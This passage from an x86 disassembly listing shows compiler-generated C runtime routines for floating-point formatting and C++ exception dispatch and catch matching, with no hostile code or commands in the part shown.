		call	sub_421CF1
		push	ebx
		push	30h
		push	edi
		call	sub_41B590
		add	esp, 14h


loc_421BB4:				; CODE XREF: sub_421ADD+94j
					; sub_421ADD+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_421ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BBB	proc near		; CODE XREF: sub_421CA0+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_4245E9
		mov	dword_4DB9EC, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DB9F4, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424572
		mov	eax, dword_4DB9EC
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DB9F4, ecx
		setl	cl
		mov	byte_4DB9F8, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DB9F4, eax
		jl	short loc_421C41
		cmp	eax, ebx
		jge	short loc_421C41
		test	cl, cl
		jz	short loc_421C32


loc_421C28:				; CODE XREF: sub_421BBB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_421C28
		and	[esi-2], al


loc_421C32:				; CODE XREF: sub_421BBB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C7D
		add	esp, 0Ch
		jmp	short loc_421C51
; ---------------------------------------------------------------------------


loc_421C41:				; CODE XREF: sub_421BBB+63j
					; sub_421BBB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_421C56
		add	esp, 10h


loc_421C51:				; CODE XREF: sub_421BBB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421BBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C56	proc near		; CODE XREF: sub_421BBB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4219D9
		and	byte_4DB9F0, 0
		add	esp, 10h
		retn
sub_421C56	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C7D	proc near		; CODE XREF: sub_421BBB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DB9F0, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_421ADD
		and	byte_4DB9F0, 0
		add	esp, 0Ch
		retn
sub_421C7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CA0	proc near		; CODE XREF: sub_41F69F+3AAp
					; DATA XREF: sub_41C760o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 45h
		jz	short loc_421CDB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_421CC8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421ADD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421CC8:				; CODE XREF: sub_421CA0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_421BBB
		jmp	short loc_421CEC
; ---------------------------------------------------------------------------


loc_421CDB:				; CODE XREF: sub_421CA0+7j
					; sub_421CA0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4219D9


loc_421CEC:				; CODE XREF: sub_421CA0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_421CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CF1	proc near		; CODE XREF: sub_4219D9+2Cp
					; sub_421ADD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_421D14
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41CC90
		add	esp, 10h
		pop	esi


loc_421D14:				; CODE XREF: sub_421CF1+7j
		pop	edi
		retn
sub_421CF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D16	proc near		; CODE XREF: ___:0041C940p
					; sub_41C9A9+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_421D2C
		call	sub_4225B2


loc_421D2C:				; CODE XREF: sub_421D16+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_421D54
		cmp	dword ptr [esi+4], 0
		jz	short loc_421DAA
		cmp	[ebp+arg_14], 0
		jnz	short loc_421DAA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_42205D
		add	esp, 10h
		jmp	short loc_421DAA
; ---------------------------------------------------------------------------


loc_421D54:				; CODE XREF: sub_421D16+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_421DAA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_421D8E
		cmp	[eax+14h], edi
		jbe	short loc_421D8E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_421D8E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_421DAD
; ---------------------------------------------------------------------------


loc_421D8E:				; CODE XREF: sub_421D16+4Aj
					; sub_421D16+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_421DB1
		add	esp, 20h


loc_421DAA:				; CODE XREF: sub_421D16+23j
					; sub_421D16+29j ...
		push	1
		pop	eax


loc_421DAD:				; CODE XREF: sub_421D16+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_421D16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DB1	proc near		; CODE XREF: sub_421D16+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_421DD1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_421DD6


loc_421DD1:				; CODE XREF: sub_421DB1+16j
		call	sub_4225B2


loc_421DD6:				; CODE XREF: sub_421DB1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		mov	esi, dword_4DB9FC
		test	esi, esi
		jz	loc_421F28
		mov	eax, dword_4DBA00
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424770
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_421E2C
		call	sub_4225B2


loc_421E2C:				; CODE XREF: sub_421DB1+74j
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_421E4A
		cmp	[esi+14h], edi
		jnz	short loc_421E4A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_421E4A
		call	sub_4225B2


loc_421E4A:				; CODE XREF: sub_421DB1+41j
					; sub_421DB1+46j ...
		cmp	[esi], ebx
		jnz	loc_421F2D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_421F2D
		cmp	[esi+14h], edi
		jnz	loc_421F2D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	ebx, eax


loc_421E81:				; CODE XREF: sub_421DB1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_421F18
		cmp	[ebx], edi
		jg	short loc_421F0D
		cmp	edi, [ebx+4]
		jg	short loc_421F0D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_421F0A


loc_421EA6:				; CODE XREF: sub_421DB1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_421ED7


loc_421EB8:				; CODE XREF: sub_421DB1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_422000
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421EE6
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_421EB8


loc_421ED7:				; CODE XREF: sub_421DB1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_421EA6
		jmp	short loc_421F0A
; ---------------------------------------------------------------------------


loc_421EE6:				; CODE XREF: sub_421DB1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421F0A:				; CODE XREF: sub_421DB1+F3j
					; sub_421DB1+133j
		mov	edi, [ebp+var_10]


loc_421F0D:				; CODE XREF: sub_421DB1+DEj
					; sub_421DB1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_421E81
; ---------------------------------------------------------------------------


loc_421F18:				; CODE XREF: sub_421DB1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_421F28
		push	1
		push	esi
		call	sub_422486
		pop	ecx
		pop	ecx


loc_421F28:				; CODE XREF: sub_421DB1+56j
					; sub_421DB1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421F2D:				; CODE XREF: sub_421DB1+37j
					; sub_421DB1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_421F53
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_421F58
		add	esp, 20h
		jmp	short loc_421F28
; ---------------------------------------------------------------------------


loc_421F53:				; CODE XREF: sub_421DB1+180j
		jmp	sub_42255C
sub_421DB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F58	proc near		; CODE XREF: sub_421DB1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_4DBA04, 0
		push	esi
		push	edi
		jz	short loc_421F89
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C9CE
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_421FFC


loc_421F89:				; CODE XREF: sub_421F58+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41CAF7
		add	esp, 14h
		mov	esi, eax


loc_421FA5:				; CODE XREF: sub_421F58+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_421FFC
		cmp	edi, [esi]
		jl	short loc_421FF4
		cmp	edi, [esi+4]
		jg	short loc_421FF4
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_421FCE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_421FF4


loc_421FCE:				; CODE XREF: sub_421F58+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422111
; ---------------------------------------------------------------------------
		add	esp, 2Ch


loc_421FF4:				; CODE XREF: sub_421F58+57j
					; sub_421F58+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_421FA5
; ---------------------------------------------------------------------------


loc_421FFC:				; CODE XREF: sub_421F58+2Fj
					; sub_421F58+53j
		pop	edi
		pop	esi
		leave
		retn
sub_421F58	endp


; =============== S U B	R O U T	I N E =======================================



sub_422000	proc near		; CODE XREF: sub_421DB1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_422057
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_422057
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_422031
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_422053


loc_422031:				; CODE XREF: sub_422000+1Fj
		test	byte ptr [esi],	2
		jz	short loc_42203B
		test	byte ptr [edi],	8
		jz	short loc_422053


loc_42203B:				; CODE XREF: sub_422000+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_42204A
		test	byte ptr [edi],	1
		jz	short loc_422053


loc_42204A:				; CODE XREF: sub_422000+43j
		test	al, 2
		jz	short loc_422057
		test	byte ptr [edi],	2
		jnz	short loc_422057


loc_422053:				; CODE XREF: sub_422000+2Fj
					; sub_422000+39j ...
		xor	eax, eax
		jmp	short loc_42205A
; ---------------------------------------------------------------------------


loc_422057:				; CODE XREF: sub_422000+Bj
					; sub_422000+14j ...
		push	1
		pop	eax


loc_42205A:				; CODE XREF: sub_422000+55j
		pop	edi
		pop	esi
		retn
sub_422000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42205D	proc near		; CODE XREF: sub_421D16+34p
					; ___:00422153p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278C0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_42208F:				; CODE XREF: sub_42205D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4220E9
		cmp	esi, 0FFFFFFFFh
		jle	short loc_42209E
		cmp	esi, [edi+4]
		jl	short loc_4220A3


loc_42209E:				; CODE XREF: sub_42205D+3Aj
		call	sub_4225B2


loc_4220A3:				; CODE XREF: sub_42205D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4220BE
		push	103h
		push	ebx
		push	eax
		call	sub_422510


loc_4220BE:				; CODE XREF: sub_42205D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4220DE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4220FB
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4220DE:				; CODE XREF: sub_42205D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_42208F
; ---------------------------------------------------------------------------


loc_4220E9:				; CODE XREF: sub_42205D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42205D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220FB	proc near		; CODE XREF: sub_42205D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_42210C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42210C:				; CODE XREF: sub_4220FB+Cj
		jmp	sub_42255C
sub_4220FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_422111	proc near		; CODE XREF: sub_421DB1+151p
					; sub_421F58+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_422133
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4222C2
		add	esp, 10h


loc_422133:				; CODE XREF: sub_422111+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_42213F
		push	edi
		jmp	short loc_422142
; ---------------------------------------------------------------------------


loc_42213F:				; CODE XREF: sub_422111+29j
		push	[ebp+arg_24]


loc_422142:				; CODE XREF: sub_422111+2Cj
		call	sub_41C8D0
sub_422111	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_42205D
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_42218C
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_422187
		push	edi
		push	eax
		call	sub_41C88E


loc_422187:				; CODE XREF: ___:0042217Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42218C	proc near		; CODE XREF: ___:00422174p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278D0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_4DB9FC
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_4DBA00
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_4DB9FC, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_4DBA00, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41C955
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_422252
		mov	eax, [ebp+var_2C]


loc_422219:				; CODE XREF: sub_422232+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42218C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422228	proc near		; DATA XREF: ___:004278E0o
		push	dword ptr [ebp-14h]
		call	sub_422298
		pop	ecx
		retn
sub_422228	endp


; =============== S U B	R O U T	I N E =======================================



sub_422232	proc near		; DATA XREF: ___:004278E4o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_41CBB6
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_422219
sub_422232	endp

; ---------------------------------------------------------------------------


loc_42224A:				; DATA XREF: ___:004278D8o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_422252	proc near		; CODE XREF: sub_42218C+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_4DB9FC, eax
		mov	eax, [ebp-20h]
		mov	dword_4DBA00, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_422297
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_422297
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_422297
		cmp	[ebp-24h], ebx
		jnz	short locret_422297
		cmp	[ebp-2Ch], ebx
		jz	short locret_422297
		call	sub_41CC1E
		push	eax
		push	edi
		call	sub_422486
		pop	ecx
		pop	ecx

locret_422297:				; CODE XREF: sub_422252+1Cj
					; sub_422252+22j ...
		retn
sub_422252	endp


; =============== S U B	R O U T	I N E =======================================



sub_422298	proc near		; CODE XREF: sub_422228+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4222BF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4222BF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4222BF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4222BF:				; CODE XREF: sub_422298+Cj
					; sub_422298+12j ...
		xor	eax, eax
		retn
sub_422298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4222C2	proc near		; CODE XREF: sub_422111+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278E8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_42246B
		cmp	byte ptr [eax+8], 0
		jz	loc_42246B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_42246B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_42235F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_422350:				; CODE XREF: sub_4222C2+F5j
		push	eax
		call	sub_4224ED
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_422467
; ---------------------------------------------------------------------------


loc_42235F:				; CODE XREF: sub_4222C2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4223B9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_422467
		mov	eax, [edi]
		test	eax, eax
		jz	loc_422467
		add	esi, 8
		push	esi
		jmp	short loc_422350
; ---------------------------------------------------------------------------


loc_4223B9:				; CODE XREF: sub_4222C2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_422401
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_41CC90
		add	esp, 0Ch
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422401:				; CODE XREF: sub_4222C2+103j
		call	sub_424770
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	1
		push	edi
		call	sub_42478C
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		push	dword ptr [esi+18h]
		call	sub_4247A8
		pop	ecx
		test	eax, eax
		jz	short loc_422462
		test	byte ptr [esi],	4
		jz	short loc_422448
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C9
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422448:				; CODE XREF: sub_4222C2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4224ED
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_41C8C2
		jmp	short loc_422467
; ---------------------------------------------------------------------------


loc_422462:				; CODE XREF: sub_4222C2+6Aj
					; sub_4222C2+7Cj ...
		call	sub_4225B2


loc_422467:				; CODE XREF: sub_4222C2+98j
					; sub_4222C2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


